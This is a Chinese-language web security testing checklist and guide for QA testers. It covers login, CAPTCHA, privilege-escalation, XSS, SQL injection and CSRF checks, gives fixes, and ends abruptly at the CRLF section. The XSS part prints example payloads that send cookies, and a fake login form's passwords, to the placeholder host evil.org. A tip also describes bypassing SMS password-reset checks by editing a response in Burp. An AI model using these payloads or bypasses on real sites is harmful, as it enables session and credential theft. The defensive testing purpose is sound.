WEB安全测试要点总结

一、大类检查点：

大类	细项
上传功能	绕过文件上传检查功能
上传文件大小和次数限制
注册功能	注册请求是否安全传输
注册时密码复杂度是否后台检验
激活链接测试
重复注册
批量注册问题
登录功能	登录请求是否安全传输
会话固定
关键Cookie是否HttpOnly
登录请求错误次数限制
“记住我”功能
本地存储敏感信息
验证码功能	验证码的一次性
验证码绕过
短信验证码轰炸
忘记密码功能	通过手机号找回
通过邮箱找回
密码安全性要求	密码复杂度要求
密码保存要求
横向越权测试	请测试所有接口越权情况
纵向越权测试	请测试所有接口越权情况
XSS测试	反射型XSS
存储型XSS
DOM型XSS
SQL注入测试	SQL注入测试
写接口限制测试	写接口限制测试
CSRF测试	CSRF测试
敏感信息泄露	SVN信息泄露
页面泄露敏感信息
目录遍历	目录遍历
CRLF测试	CRLF测试
任意文件读取	任意文件读取
URL重定向测试	URL重定向测试
点击劫持ClickJacking	页面点击劫持
XXE	XXE测试
SSRF	SSRF
CORS问题	CORS问题

二、测试项详细说明

上传功能

绕过文件上传检查功能
上传文件大小和次数限制

注册功能

注册请求是否安全传输
注册时密码复杂度是否后台校验
激活链接测试
重复注册
批量注册问题

登录功能

登录请求是否安全传输
会话固定：Session fixation attack(会话固定攻击)是利用服务器的session不变机制，借他人之手获得认证和授权，然后冒充他人。
关键cookie是否HTTPONLY：如果Cookie设置了HttpOnly标志，可以在发生XSS时避免JavaScript读取Cookie。

但很多Cookie需要给前端JS使用。所以这里只需要关注关键Cookie,即唯一标识用户及登录状态的会话标识需要添加这个属性。

登录请求错误次数限制

“记住我”功能：勾选“记住我”后，Cookie中记录了用户名和密码信息。。。

本地存储敏感信息

验证码功能

验证码的一次性
验证码绕过
短信验证码轰炸：如果这个接口没有限制策略，就会被人恶意利用

忘记密码功能

通过手机号找回：不过由于程序设计不合理，导致可以绕过短信验证码，从而修改别人的密码。（使用burpsuite抓包，修改响应值true）

通过邮箱找回

密码安全性要求

密码复杂度要求
密码保存要求

横向越权测试

不同用户之间session共享，可以非法操作对方的数据。

纵向越权测试

很多应用简单的通过前端判断，或者低权限角色看不到对应的菜单，但并未在后台去做当前登录用户是否有权限。

XSS测试

跨站脚本攻击(Cross Site Scripting)：恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

反射型XSS：

利用请求参数param2，进行XSS注入，设置js等可执行或可跳转语句。param2=<script>document.write(‘<imgsrc=”http://evil.org?grabcookie.jsp?cookie=’+encodeURI(document.cookie)+'”/>’)</script>。

这个网站的已登录用户去点击，cookie会被发送到 evil.org 上去。

处理意见：对特殊字符转义输出，特别是'”<>这几个。

存储型XSS：

在论坛上发表帖子，假设论坛有漏洞，可以在帖子中注入下面的JS内容：

document.body.innerHTML=”<h1>PleaseLogin</h1><form

action=http://evil.org/grabpassword.jspmethod=post><br>User name:<input type=text

name=user><br>Password:<inputtype=text name=password></p><input type=submit

name=login></form>

</script>

当其他用户浏览该帖子时，就会弹出登录框，如图（用户名+密码登陆界面）。

这是页面中注入的XSS生成的，如果您输入了账号密码，那就被发送给黑客了。

处理意见：对特殊字符转义输出，特别是如下几个'”<>

DOM型XSS

基于DOM型XSS样例，相比较与Reflected、Stored XSS属于server side execution issues而言，DOM based XSS 是client(browser)side execution issue。

Step1：如下面请求的hash部分，由客户端JS动态执行产生XSS注入。

http://www.webapp.com/example.jsp?param1=value1#\u003ciframeonload=alert(‘xss’)\u003e

Step2：动态生成：<divid=”m”><iframeonload=”alert(‘xss’)”></iframe></div>

这个比较难测试，一般需要阅读页面中的JS代码，去分析。没有固定的测试步骤，还是需要大家自己多学习。不作为强制项，WebInspect扫过即可。

处理意见：对特殊字符转义输出，特别是'”<>。

SQL注入测试

SQL注入攻击的基本原理是通过构建特殊的输入参数，迫使后台数据库执行额外的SQL语句，从而达到获取数据库数据的目的。

这些输入参数往往包含恶意的SQL注入语句，后台处理程序没有对这些参数进行过滤，且所使用的数据库查询手段为拼接方式，进而导致敏感数据外泄。

在动态构造SQL语句的过程中，除了特殊字符处理不当引起的SQL注入之外，错误处理不当也会为Web站点带来很多安全隐患。

最常见的问题就是将详细的内部错误信息显示给攻击者。这些细节会为攻击者提供与网站潜在缺陷相关的重要线索。

在SQL注入的过程中，如果Web服务器关闭了错误回显，那么是不是就安全了呢？答案显然是否定的，攻击者仍然可以通过 “盲注”技巧测试SQL命令是否注入成功。

所谓”盲注”就是在服务器没有错误回显时完成的注入方式，攻击者必须找到一个方法来验证注入的SQL语句是否执行。

“盲注”主要分为两种类型：基于时间的盲注和布尔盲注。

测试方法（黑盒）：sqlmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，

测试方法（白盒）：如果项目的数据库持久层框架是mybatis，并且他的sqlmap中编写方式都是使用#{xxx}方式，而非使用${xxx}方式，就不存在SQl注入问题。

注：sqlMap中尽量不要使用$;$使用的是Statement（拼接字符串），会出现注入问题。#使用的是PreparedStatement（类似于预编译），将转义交给了数据库，不会出现注入问题；前者容易出现SQL注入之类的安全问题，所以mybatis推荐使用#。

写接口限制测试

比如：找回密码的邮件。多次调用，造成邮件轰炸。

新增的接口，如写文章、上传文件等。这些接口如果没有任何限制，那么恶意用户使用程序无限循环的调用接口，就会写入大量的数据。通过并发、循环方式上传大量文件，填满磁盘，消耗服务器资源。

修复建议：对写入量大的接口（如上传）做必要的限制。

CSRF测试

CSRF（Cross-site requestforgery），中文名称：跨站请求伪造。用户C在为退出A的情况下，浏览B，B使用C的session非法访问A。

检查：

Ø 是否有防御CSRF的随机数。验证码、csrf_token等都是。有则（通过）

Ø 是否验证referer。有则（通过）

Ø 请求的参数均可推测，无CSRF防御机制。（不通过）

测试中，需要对所有写接口检查，可以采用如下方式，记录接口，标记是否已检查。

修复建议：

Ø 方法1：验证码

验证码制用户必须与应用进行交互，才能完成最终请求。因此在通常情况下，验证码能够很好地遏制CSRF攻击。

但是这种方式易用性方面似乎不是太好，并且对于简单的图形验证码也有很多绕过机制。防御CSRF的一种辅助手段

Ø 方法2：Referer 验证

当浏览器发送一个HTTP请求时一般都会在Referer中表明发起请求的URL。

通过Referer我们可以通过判断一个请求是否为同域下发起的来防御CSRF，但是Referer可能会包含一些敏感信息甚至在某些情况下能够被伪造。

因此我们无法依赖于Referer来作为防御CSRF的主要手段，但是可以通过Referer来监控CSRF攻击的发生。

Ø 方法3：Token验证

在请求原参数不变的条件下，新增了一个随机的、不可预测参数Token是目前最普遍有效的方式。

后端在对数据处理前会首先对Token参数进行验证，只有用户请求中的Token与用户Session（或Cookie）中的Token一致时，才会认为请求是合法的。

由于Token的存在，攻击者就无法构造一个完整的请求实施CSRF攻击，从而保证了网站或系统的安全。

敏感信息泄露

SVN信息泄露：有数据库账号和密码等信息；

页面泄露敏感信息：有些WEB应用，在返回给客户端的响应中，包含了敏感信息，例如密码。

目录遍历

在web应用中，如下图所示的显示目录文件列表，会带来一定的安全隐患（服务器文件列表）。

CRLF

CRLF就是HTTP响应头拆分漏洞。是对用户输入的CR 和LF字符没有进行严格的过滤导致的。